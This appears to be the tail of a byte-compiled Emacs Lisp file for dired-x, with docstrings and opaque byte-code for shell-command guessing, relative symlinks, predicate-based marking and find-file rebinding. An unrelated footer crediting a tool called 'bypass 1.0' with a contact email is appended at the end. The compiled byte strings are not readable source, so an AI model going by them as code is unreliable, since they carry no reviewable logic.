(byte-code "\300\301\302\303\304\305\306\307&\210\300\310\311\312\304\305\306\313&\207" [custom-declare-variable dired-guess-shell-alist-user nil "User-defined alist of rules for suggested commands.\nThese rules take precedence over the predefined rules in the variable\n`dired-guess-shell-alist-default' (to which they are prepended).\n\nEach element of this list looks like\n\n    (REGEXP COMMAND...)\n\nwhere each COMMAND can either be a string or a Lisp expression that evaluates\nto a string.  If several COMMANDs are given, the first one will be the default\nand the rest will be added temporarily to the history and can be retrieved\nwith \\[previous-history-element] (M-p) .\n\nThe variable `dired-guess-shell-case-fold-search' controls whether\nREGEXP is matched case-sensitively.\n\nYou can set this variable in your ~/.emacs.  For example, to add rules for\n`.foo' and `.bar' files, write\n\n (setq dired-guess-shell-alist-user\n        '((\"\\\\.foo\\\\'\" \"FOO-COMMAND\")\n          (\"\\\\.bar\\\\'\"\n           (if condition\n              \"BAR-COMMAND-1\"\n            \"BAR-COMMAND-2\"))))" :group dired-x :type (alist :key-type regexp :value-type (repeat sexp)) dired-guess-shell-case-fold-search t "If non-nil, `dired-guess-shell-alist-default' and\n`dired-guess-shell-alist-user' are matched case-insensitively." boolean] 8)
#@107 Return a shell command, or a list of commands, appropriate for FILES.
See `dired-guess-shell-alist-user'.
(defalias 'dired-guess-default #[(files) #@420 ("\306\n\"
@\f
A
\307\211\307\f\203;0\f@\211@\fA\310\f\"\2030A\307\211\2040
\203S0\310
@\"\203S0
A\211
\204@0
?\205[0\211A\203l0\311\312\313\"!\202q0\313@!.\207" . [dired-guess-shell-case-fold-search case-fold-search dired-guess-shell-alist-user dired-guess-shell-alist-default alist files append nil string-match delete-dups mapcar eval file flist elt regexp cmds])(#$ . 32314) nil 5 (#$ . 32160)])
#@74 Ask user with PROMPT for a shell command, guessing a default from FILES.
(defalias 'dired-guess-shell-command #[(prompt files) #@310 ("\305!\306\211\211\2040\307\f\306\310#\202E0<\203)0@\f\311\312\nG\"P\202,0C\f\311\313\"P\307\f\306\310\n$\211\314\232\203D0\202E0	+\207" . [files val default-list default prompt dired-guess-default nil read-shell-command dired-shell-command-history format "{%d guesses} " "[%s] " ""])(#$ . 32906) nil 6 (#$ . 32772)])
#@40 See variable `dired-keep-marker-move'.
(defvar dired-keep-marker-relsymlink 83 (#$ . 33254))
#@203 Make a symbolic link (pointing to FILE1) in FILE2.
The link is relative (if possible), for example

    "/vol/tex/bin/foo" "/vol/local/bin/foo"

results in

    "../../tex/bin/foo" "/vol/local/bin/foo"
(defalias 'dired-make-relative-symlink #[(file1 file2 &optional ok-if-already-exists) #@541 ("\306\211\211\211\307\306\310!\310!GG\306\311\312	#\211\203R0T\211\n^W\203R0\307O\307O\230\203R0\202#0\307	O	\306O)\312\230\203n0\202\2620	\306O\307\211\311\312#\211\203\2250TT\202{0\307W\203\2610\313
PT\211\202\2360-\314\315
!\f#.\207" . [sub index len2 len1 name2 name1 nil 0 expand-file-name string-match "/" "../" make-symbolic-link directory-file-name file1 file2 next count start tem _n --dotimes-limit-- ok-if-already-exists])(#$ . 33649) nil 7 (#$ . 33354) "FRelSymLink: \nFRelSymLink %s: \np"])
(autoload 'dired-do-create-files "dired-aux")
#@326 Relative symlink all marked (or next ARG) files into a directory.
Otherwise make a relative symbolic link to the current file.
This creates relative symbolic links like

    foo -> ../bar/foo

not absolute ones like

    foo -> /ugly/file/name/that/may/change/any/day/bar/foo

For absolute symlinks, use \[dired-do-symlink].
(defalias 'dired-do-relsymlink #[(&optional arg) #@140 ("\302\303\304\305	%\207" . [arg dired-keep-marker-relsymlink dired-do-create-files relsymlink dired-make-relative-symlink "RelSymLink"])(#$ . 34693) nil 6 (#$ . 34312) "P"])
(byte-code "\300\301\302\"\210\300\303\302\"\207" [autoload dired-mark-read-regexp "dired-aux" dired-do-create-files-regexp] 3)
#@139 RelSymlink all marked files containing REGEXP to NEWNAME.
See functions `dired-do-rename-regexp' and `dired-do-relsymlink'
for more info.
(defalias 'dired-do-relsymlink-regexp #[(regexp newname &optional arg whole-name) #@164 ("\305\306\307	\n\f&\207" . [arg regexp newname whole-name dired-keep-marker-relsymlink dired-do-create-files-regexp dired-make-relative-symlink "RelSymLink"])(#$ . 35231) nil 8 (#$ . 35004) (dired-mark-read-regexp "RelSymLink")])
#@504 Find all marked files displaying all of them simultaneously.
With optional NOSELECT just find files but do not select them.

The current window is split across all files marked, as evenly as possible.
Remaining lines go to bottom-most window.  The number of files that can be
displayed this way is restricted by the height of the current window and
`window-min-height'.

To keep dired buffer displayed, type \[split-window-below] first.
To display just marked files, type \[delete-other-windows] first.
(defalias 'dired-do-find-marked-files #[(&optional noselect) #@87 ("\301\302 \"\207" . [noselect dired-simultaneous-find-file dired-get-marked-files])(#$ . 36042) nil 3 (#$ . 35472) "P"])
#@400 Visit all files in FILE-LIST and display them simultaneously.
The current window is split across all files in FILE-LIST, as evenly as
possible.  Remaining lines go to the bottom-most window.  The number of
files that can be displayed this way is restricted by the height of the
current window and the variable `window-min-height'.  With non-nil
NOSELECT the files are merely found but not selected.
(defalias 'dired-simultaneous-find-file #[(file-list noselect) #@394 ("\306	\2030\307\n@!\210\202#0\310 \nG\245X\2040\311\312!\210\313\n@!\210\nA\306\211\205M0
@	\203:0\307\f!\210\202E0\314\315\306\"!\210\313\f!\210
A\211\204,0\306+\207" . [size noselect file-list window-min-height file --dolist-tail-- nil find-file-noselect window-height error "Too many files to visit simultaneously.  Try C-u prefix" find-file select-window split-window])(#$ . 36641) nil 5 (#$ . 36172)])
#@25 Run `man' on this file.
(defalias 'dired-man #[nil #@221 ("\302\303!\210\304 \305\306\307\310\311C\"#\312!*\207" . [file manual-program require man dired-get-filename replace-regexp-in-string "\\*" "%s" dired-guess-shell-command "Man command: " Man-getpage-in-background])(#$ . 37131) nil 6 (#$ . 37073) nil])
#@26 Run `info' on this file.
(defalias 'dired-info #[nil #@48 ("\300\301 !\207" . [info dired-get-filename])(#$ . 37453) nil 2 (#$ . 37394) nil])
#@141 Run VM on this file.
With optional prefix argument, visits the folder read-only.
Otherwise obeys the value of `dired-vm-read-only-folders'.
(defalias 'dired-vm #[(&optional read-only) #@256 ("\305 \306 \307\n\2060\310=\2060\2050\311!?\"\210\312\304!\210	\211*\207" . [fil dir read-only dired-vm-read-only-folders vm-folder-directory dired-current-directory dired-get-filename vm-visit-folder t file-writable-p make-local-variable])(#$ . 37735) nil 4 (#$ . 37544) "P"])
#@25 Run RMAIL on this file.
(defalias 'dired-rmail #[nil #@49 ("\300\301 !\207" . [rmail dired-get-filename])(#$ . 38092) nil 2 (#$ . 38033) nil])
#@74 If `dired-bind-vm' is non-nil, call `dired-vm', else call `dired-rmail'.
(defalias 'dired-do-run-mail #[nil #@71 ("\2030\301 \207\302 \207" . [dired-bind-vm dired-vm dired-rmail])(#$ . 38297) nil 1 (#$ . 38183) nil])
#@129 Return t if BUFFER1 is more recently used than BUFFER2.
Considers buffers closer to the car of `buffer-list' to be more recent.
(defalias 'dired-buffer-more-recently-used-p #[(buffer1 buffer2) #@80 ("	\232?\2050\302 >\2050	\302 >>?\207" . [buffer1 buffer2 buffer-list])(#$ . 38610) nil 3 (#$ . 38411)])
#@933 Mark files for which PREDICATE returns non-nil.
With a prefix arg, unmark or unflag those files instead.

PREDICATE is a lisp expression that can refer to the following symbols:

    inode  [integer] the inode of the file (only for ls -i output)
    s      [integer] the size of the file for ls -s output
                     (usually in blocks or, with -k, in KByte)
    mode   [string]  file permission bits, e.g. "-rw-r--r--"
    nlink  [integer] number of links to file
    uid    [string]  owner
    gid    [string]  group  (If the gid is not displayed by ls,
                     this will still be set (to the same as uid))
    size   [integer] file size in bytes
    time   [string]  the time that ls displays, e.g. "Feb 12 14:17"
    name   [string]  the name of the file
    sym    [string]  if file is a symbolic link, the linked-to name, else ""

For example, use

        (equal 0 size)

to mark all zero length files.
(defalias 'dired-mark-sexp #[(predicate &optional unflag-p) #@1396 ("\306\307\"\210	\203
0\310\2020\n\311\211\211\211\211\211\211\211\211\211*+,-./0\312\31112\212\3131\314\315\"\203e0\306\316\n\310=\203G0\317\202S03\n=\203R0\320\202S0\321\314\315\"3\n=\203b0\322\202c0\323$\210eb\210m\204*\212\324 \205\311\325\326456\327 \210\330u\210\3314!\203\2410\313\225b\210\332\333\224\333\225{!0\332\330\224\330\225{!/\202\2470\311\2110/`5`\\{.5u\210\334p!-`T\333v\210`{,\3357!\210\333\224b\210\336u\210\332\212\336v\210`\2116)`{!*6b\210\336v\210\212\333v\210`)`{+\333\224\324 S{`\337\312!\206\3740`{\331\340!\203\341u\210`\342 {\202\323+\343!)\203$\344\333!\210\nc\2101T1\333y\210\202h0\314\315\"\203W\306\3451\314\315\"\3461!\n\310=\203G\347\202H\323\n3=\203S\350\202T\351&\210)1\313V\205a1.
\207" . [predicate unflag-p dired-marker-char sym name time message "%s" 32 nil t 0 format "'%s file" "%s %ss%s..." "Unmarking" "Flagging" "Marking" " for deletion" "" dired-move-to-filename 10 "\\s *\\([0-9]*\\)\\s *\\([0-9]*\\) ?" beginning-of-line 2 looking-at string-to-number 1 read re-search-forward -1 dired-move-to-end-of-filename " -> " 4 line-end-position eval delete-char "%s %s%s %s%s." dired-plural-s "un" "flagged" "marked" size gid uid nlink mode s inode count inhibit-read-only dired-del-marker dired-re-inode-size mode-len pos directory-listing-before-filename-regexp])(#$ . 39729) nil 12 (#$ . 38729) "xMark if (lisp expr): \nP"])
#@261 Non-nil means don't remap `find-file' to `dired-x-find-file'.
Similarly for `find-file-other-window' and `dired-x-find-file-other-window'.
If you change this variable without using \[customize] after `dired-x.el'
is loaded then call \[dired-x-bind-find-file].
(custom-declare-variable 'dired-x-hands-off-my-keys t '(#$ . 41193) :type 'boolean :initialize 'custom-initialize-default :set #[(symbol value) "	L\210\302 \207" [symbol value dired-x-bind-find-file] 2] :group 'dired-x)
#@200 Bind `dired-x-find-file' in place of `find-file' (or vice-versa).
Similarly for `dired-x-find-file-other-window' and `find-file-other-window'.
Binding direction based on `dired-x-hands-off-my-keys'.
(defalias 'dired-x-bind-find-file #[nil #@339 ("\301\302!\2030\303\304!?\305\306 \307?\2050\310#\210\305\306 \311?\205!0\312#\207" . [dired-x-hands-off-my-keys called-interactively-p interactive y-or-n-p "Bind dired-x-find-file over find-file? " define-key current-global-map [remap find-file] dired-x-find-file [remap find-file-other-window] dired-x-find-file-other-window])(#$ . 41927) nil 4 (#$ . 41681) nil])
(dired-x-bind-find-file)
#@149 Edit file FILENAME.
Like `find-file', except that when called interactively with a
prefix argument, it offers the filename near point as a default.
(defalias 'dired-x-find-file #[(filename) #@39 ("\301!\207" . [filename find-file])(#$ . 42530) nil 2 (#$ . 42334) (list (dired-x-read-filename-at-point "Find file: "))])
#@186 Edit file FILENAME, in another window.
Like `find-file-other-window', except that when called interactively with
a prefix argument, when it offers the filename near point as a default.
(defalias 'dired-x-find-file-other-window #[(filename) #@52 ("\301!\207" . [filename find-file-other-window])(#$ . 42908) nil 2 (#$ . 42662) (list (dired-x-read-filename-at-point "Find file: "))])
#@89 Return the filename closest to point, expanded.
Point should be in or after a filename.
(defalias 'dired-filename-at-point #[nil #@449 ("\212m\2040\303\304!\2030\305\306x\210o\2040\307u\210\310\306\211\303\311\312\n\"!\203J0\n\306x\210`\313\314	\315 {\"\20560\316\313\317\320h!\"\203C0	S\n\306w\210\202N0\321\322!\210\323	`{P!,\207" . [prefix start filename-chars looking-at "[] 	\n[{}()]" " \n	
({[]})" nil -1 "-.[:alnum:]_/:$+@" format "[%s]" string-match "^\\w+@" line-end-position "/" "[/~]" char-to-string error "No file found around point!" expand-file-name])(#$ . 43188) nil 4 (#$ . 43052)])
#@121 Return filename prompting with PROMPT with completion.
If `current-prefix-arg' is non-nil, uses name at point as guess.
(defalias 'dired-x-read-filename-at-point #[(prompt) #@202 ("\2030\304 \305\n\306	!	\307\310	!%)\207\305\n\"\207" . [current-prefix-arg guess prompt default-directory dired-filename-at-point read-file-name file-name-directory nil file-name-nondirectory])(#$ . 43856) nil 7 (#$ . 43676)])
(byte-code "\300\301\302\303#\210\304\301\302\305#\210\300\306\307\303#\210\304\306\307\305#\210\310\311!\207" [defalias read-filename-at-point dired-x-read-filename-at-point nil make-obsolete "24.1" dired-x-submit-report report-emacs-bug provide dired-x] 4)

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net